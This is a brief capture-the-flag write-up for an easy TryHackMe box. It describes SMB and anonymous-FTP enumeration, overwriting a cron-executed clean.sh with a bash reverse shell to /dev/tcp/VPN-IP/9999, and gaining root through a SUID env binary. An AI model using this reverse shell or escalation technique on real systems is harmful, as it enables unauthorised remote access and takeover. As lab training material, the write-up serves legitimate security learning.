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+Easy Tryhackme Box
+
+## Recon
+
+I did an nmap scan on the box that revealed 4 open ports.
+
+But the ftp port had anonymous login enabled which was very easy to exploit.
+And the rest were ok.
+
+## Enumeration
+
+I tried enumerating for shares on the ports 139, 445 for smb shares.
+
+`smbclient -L //HOST-IP/ -N`
+
+This gives me shares with the names of `pics`. 
+
+Logging into them as user and downloading those pictures thinking it might have some steg involved ended up as a rabbit hole.
+
+So I logged into the ftp on port 21 under creds : `anonymous:anonymous`
+
+## Exploit
+
+There are 3 files in the ftp server. one of them is just a to_do.txt and irrelevant.
+
+There is a `clean.sh` and a `removed_files.log` file.
+
+Looking at the `clean.sh` file, it seems it checks if any files are present in the tmp folder and logs them into `removed_files.log` file.
+
+So this must be a cronjob type script that executes itself after a certain time interval.
+
+So I changed the script to a bash reverse shell using `!nano` command and started a listener on my local machine.
+
+`bash -i >& /dev/tcp/VPN-IP/9999 0>&1`
+
+And so after some time, we get a shell as the user `namelessone`.
+
+## Priv Esc
+
+I used the `find` command to find any setuids that I can use for priv esc.
+
+I found the setuid `/usr/bin/env`.
+
+Using the command from gtfobins for [env](https://gtfobins.github.io/gtfobins/env/).
+
+We can get direct root access. Now we can go ahead and read both user and root flags.
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